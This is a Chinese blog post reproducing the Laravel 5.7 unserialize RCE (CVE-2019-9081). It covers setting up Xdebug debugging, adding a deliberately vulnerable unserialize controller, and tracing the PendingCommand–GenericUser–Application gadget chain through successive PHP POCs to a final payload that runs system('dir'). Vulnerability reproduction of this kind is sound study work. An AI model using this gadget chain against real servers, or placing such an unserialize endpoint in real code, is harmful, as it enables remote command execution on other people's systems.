laravel5.7 反序列化漏洞复现

发布于 5 天前  20 次阅读


0x00 项目安装

使用composer部署Laravel项目,创建一个名为laravel的Laravel项目
composer create-project laravel/laravel=5.7.* --prefer-dist ./

Laravel框架入口文件为{安装目录}/public/index.php,使用apache部署后访问入口文件显示Laravel欢迎界面即安装成功。

或者使用命令php artisan serve开启临时的开发环境的服务器进行访问。

0x01 调试环境配置

环境:PHPstudy + vscode

PHPstudy

在网站处添加拓展 xdebug管理/PHP拓展/xdebug

然后在php.ini中有如下信息。

[Xdebug]
zend_extension=D:/tools/PHPstudy/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=Off
xdebug.trace_output_dir=D:/tools/PHPstudy/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=Off
xdebug.profiler_output_dir=D:/tools/PHPstudy/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.profiler
xdebug.remote_enable=1
xdebug.remote_autostart = 1
xdebug.remote_host=localhost
xdebug.remote_port=9010
xdebug.remote_handler=dbgp

这里添加了一条信息,修改了两条信息。

添加了 xdebug.remote_autostart = 1

xdebug.remote_enable 修改为了1,调试端口 xdebug.remote_port 为了防止冲突修改为了9010。

vscode

vscode在拓展商店中安装PHP Debug插件。

使用vscode打开项目文件夹,这里不能调试单个文件,必须要导入整个文件夹。

打开后点击左侧三角形运行按钮,选择 创建 launch.json 文件,然后port修改为与php.ini中debug相同的port。

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for XDebug",
            "type": "php",
            "request": "launch",
            "port": 9010
        },
        {
            "name": "Launch currently open script",
            "type": "php",
            "request": "launch",
            "program": "${file}",
            "cwd": "${fileDirname}",
            "port": 9010
        }
    ]
}

完成后,打开debug界面选择 Listen for XDebug ,点击三角形,对要调试的代码打上断点,点击绿色的小三角形开始调试,打开网站,就可以开始愉快的调试了!

0x02 源码分析

准备

首先得准备一个反序列化的入口,在 routes/web.php 里面加一条路由

Route::get('/unserialize',"UnserializeController@unspoc");

然后在 app/Http/controllers 中添加一个控制器

<?php

namespace App\Http\Controllers;

class UnserializeController extends Controller
{
    public function unspoc(){
        if(isset($_GET['c'])){
            unserialize($_GET['c']);
        }else{
            highlight_file(__FILE__);
        }
        return "unspoc";
    }
}

这样访问 http://url/public/index.php/unserialize 就可以进行反序列化了。

分析

和laravel5.6相比,laravel5.7多了 PendingCommand.php 这个文件。漏洞也出现在这个文件的类 PendingCommand 中。

__destruct() 魔术方法中调用了函数 run(),跟进看一下。

    public function __destruct()
    {
        if ($this->hasExecuted) {
            return;
        }

        $this->run();
    }

函数 run() 上的注释写到,Execute the command,可以执行命令,而且下面有段代码 $this->app[Kernel::class]->call($this->command, $this->parameters) ,可以看到调用了 call 函数,猜测可能存在命令执行,前面的代码先不管,先试一下能不能直接执行命令。

/**
 * Execute the command.
 *
 * @return int
 */
public function run()
{
    $this->hasExecuted = true;

    $this->mockConsoleOutput();

    try {
        $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    } catch (NoMatchingExpectationException $e) {
        if ($e->getMethodName() === 'askQuestion') {
            $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
        }

        throw $e;
    }

    if ($this->expectedExitCode !== null) {
        $this->test->assertEquals(
            $this->expectedExitCode, $exitCode,
            "Expected status code {$this->expectedExitCode} but received {$exitCode}."
        );
    }

    return $exitCode;
}

第一个poc

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        protected $command;
        protected $parameters;

        public function __construct()
        {
            $this->command = 'system';
            $this->parameters = 'dir';
        }
    }
}

namespace {

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

发现报错 "Trying to get property 'expectedOutput' of non-object" ,在 PendingCommand.php 文件的196行发生了错误,错误发生在函数 createABufferedOutputMock() 中,这里的调用顺序是 run()->mockConsoleOutput()->createABufferedOutputMock()。在这个地方下个断点,调试运行,发现 $this->test=null ,所以报错了。

private function createABufferedOutputMock()
{
    $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
        ->shouldAllowMockingProtectedMethods()
        ->shouldIgnoreMissing();

    foreach ($this->test->expectedOutput as $i => $output) {
        $mock->shouldReceive('doWrite')
            ->once()
            ->ordered()
            ->with($output, Mockery::any())
            ->andReturnUsing(function () use ($i) {
                unset($this->test->expectedOutput[$i]);
            });
    }

    return $mock;
}

这里给 $this->test 初始化一下,先看看哪有属性 expectedOutput,发现存在于文件 Illuminate\Foundation\Testing\Concerns\InteractsWithConsole.php 中的 trait InteractsWithConsole ,由于 trait 不能实例化,所以只能想办法寻找 __get 方法。

这里用了 Illuminate\Auth\GenericUser 类里的 __get() 方法,而 $attributes 可控,除了上面 createABufferedOutputMock() 里调用了 $this->test->expectedOutput 以外,在 mockConsoleOutput() 中 也调用了 $this->test->expectedQuestions ,所以构造这两个参数就可以了。

public function __get($key)
{
    return $this->attributes[$key];
}

第二个poc,在 PendingCommand.php 180行有了报错 "Call to a member function bind() on null"

<?php

namespace Illuminate\Foundation\Testing {

    use Illuminate\Auth\GenericUser;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;

        public function __construct()
        {
            $this->command = 'system';
            $this->parameters[] = 'dir';
            $this->test  = new GenericUser();
        }
    }
}

namespace Illuminate\Auth {
    class GenericUser
    {
        protected $attributes;

        public function __construct()
        {
            $this->attributes['expectedOutput'] = ['hello', 'So4ms'];
            $this->attributes['expectedQuestions'] = ['hello', 'So4ms'];
        }
    }
}

namespace {

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

报错发生在函数 mockConsoleOutput() 中,最后的 $this->app->bind ,在这下断点发现 $this->app=null

protected function mockConsoleOutput()
{
    $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
        (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
    ]);

    foreach ($this->test->expectedQuestions as $i => $question) {
        $mock->shouldReceive('askQuestion')
            ->once()
            ->ordered()
            ->with(Mockery::on(function ($argument) use ($question) {
                return $argument->getQuestion() == $question[0];
            }))
            ->andReturnUsing(function () use ($question, $i) {
                unset($this->test->expectedQuestions[$i]);

                return $question[1];
            });
    }

    $this->app->bind(OutputStyle::class, function () use ($mock) {
        return $mock;
    });
}

来看一下属性 $app,注释说是 \Illuminate\Foundation\Application

/**
 * The application instance.
 *
 * @var \Illuminate\Foundation\Application
 */
protected $app;

接着构造POC

<?php

namespace Illuminate\Foundation\Testing {

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;

        public function __construct()
        {
            $this->command = 'system';
            $this->parameters[] = 'dir';
            $this->test  = new GenericUser();
            $this->app = new Application();
        }
    }
}

namespace Illuminate\Auth {
    class GenericUser
    {
        protected $attributes;

        public function __construct()
        {
            $this->attributes['expectedOutput'] = ['hello', 'So4ms'];
            $this->attributes['expectedQuestions'] = ['hello', 'So4ms'];
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
    }
}

namespace {

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

反序列化发现报错 Target [Illuminate\Contracts\Console\Kernel] is not instantiable.

前面的 mockConsoleOutput() 执行完成了没问题,我们从下面这开始看,这里的 Kernel::class 是一个常量,返回的是 Illuminate\Contracts\Console\Kernel

try {
    $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
}

为了减少调试,我们把这句代码拆分成三句,都打下断点,发现在执行第二句的期间报错了。

try {
    $a = Kernel::class;
    $b = $this->app[$a];
    $exitCode = $b->call($this->command, $this->parameters);
}

函数调用如下,offsetGet()->make()->resolve(),到了 resolve() 函数后

protected function resolve($abstract, $parameters = [])
{
    $abstract = $this->getAlias($abstract);

    $needsContextualBuild = ! empty($parameters) || ! is_null(
        $this->getContextualConcrete($abstract)
    );

    // If an instance of the type is currently being managed as a singleton we'll
    // just return an existing instance instead of instantiating new instances
    // so the developer can keep using the same objects instance every time.
    if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
        return $this->instances[$abstract];
    }

    $this->with[] = $parameters;

    $concrete = $this->getConcrete($abstract); 
    // $concrete = class Closure()
    // $abstract = "Illuminate\Contracts\Http\Kernel"

    // We're ready to instantiate an instance of the concrete type registered for
    // the binding. This will instantiate the types, as well as resolve any of
    // its "nested" dependencies recursively until all have gotten resolved.
    if ($this->isBuildable($concrete, $abstract)) {// return Ture
        $object = $this->build($concrete);
    } else {
        $object = $this->make($concrete);
    }

    // If we defined any extenders for this type, we'll need to spin through them
    // and apply them to the object being built. This allows for the extension
    // of services, such as changing configuration or decorating the object.
    foreach ($this->getExtenders($abstract) as $extender) {
        $object = $extender($object, $this);
    }

    // If the requested type is registered as a singleton we'll want to cache off
    // the instances in "memory" so we can return it later without creating an
    // entirely new instance of an object on each subsequent request for it.
    if ($this->isShared($abstract) && ! $needsContextualBuild) {
        $this->instances[$abstract] = $object;
    }

    $this->fireResolvingCallbacks($abstract, $object);

    // Before returning, we will also set the resolved flag to "true" and pop off
    // the parameter overrides for this build. After those two things are done
    // we will be ready to return back the fully constructed class instance.
    $this->resolved[$abstract] = true;

    array_pop($this->with);

    return $object;
}

这里的一段代码,会判断 $this->instances[$abstract] 是否存在,而 $abstract 的值通过调试可以知道是 Illuminate\Contracts\Console\Kernel ,而且 $this->instances 也是可控的,也就是说我们可以控制函数返回我们想要的值,也就是上面拆分后的三句代码的 $b 的值。

if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
    return $this->instances[$abstract];
}

先找一下调用的 call() 方法,在 Illuminate\Container\Container

public function call($callback, array $parameters = [], $defaultMethod = null)
{
    return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}

那么就接着构造POC

<?php

namespace Illuminate\Foundation\Testing {

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;

        public function __construct()
        {
            $this->command = 'system';
            $this->parameters[] = 'dir';
            $this->test  = new GenericUser();
            $this->app = new Application();
        }
    }
}

namespace Illuminate\Auth {
    class GenericUser
    {
        protected $attributes;

        public function __construct()
        {
            $this->attributes['expectedOutput'] = ['hello', 'So4ms'];
            $this->attributes['expectedQuestions'] = ['hello', 'So4ms'];
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $bindings = [];
        public function __construct()
        {
            $this->bindings['Illuminate\Contracts\Console\Kernel'] = 'Illuminate\Foundation\Application';
        }
    }
}

namespace {

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

不出意外又报错了 "Illegal string offset 'concrete'",在 Illuminate\Container\Container 的707行,那么返回值就不是存在上面说的位置,而是调用了下面的 getConcrete() 函数,又去了键名为 concrete 的值

protected function getConcrete($abstract)
{
    if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
        return $concrete;
    }

    // If we don't have a registered resolver or concrete for the type, we'll just
    // assume each type is a concrete name and will attempt to resolve it as is
    // since the container should be able to resolve concretes automatically.
    if (isset($this->bindings[$abstract])) {
        return $this->bindings[$abstract]['concrete'];
    }

    return $abstract;
}

命令执行成功!

<?php

namespace Illuminate\Foundation\Testing {

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;

        public function __construct()
        {
            $this->command = 'system';
            $this->parameters[] = 'dir';
            $this->test  = new GenericUser();
            $this->app = new Application();
        }
    }
}

namespace Illuminate\Auth {
    class GenericUser
    {
        protected $attributes;

        public function __construct()
        {
            $this->attributes['expectedOutput'] = ['hello', 'So4ms'];
            $this->attributes['expectedQuestions'] = ['hello', 'So4ms'];
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $bindings = [];
        public function __construct()
        {
            $this->bindings['Illuminate\Contracts\Console\Kernel']['concrete'] = 'Illuminate\Foundation\Application';
        }
    }
}

namespace {

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

0x03 小结

虽然跟着大佬的博客成功复现分析了一遍,但是还是有不少代码和流程的细节不清楚,不过通过这次复现学习了PHP的代码调试,以及一次比较复杂的漏洞复现,再接再厉!

0x04 参考资料

laravel v5.7反序列化rce
laravelv5.7反序列化rce(CVE-2019-9081)
laravel5.7 反序列化漏洞复现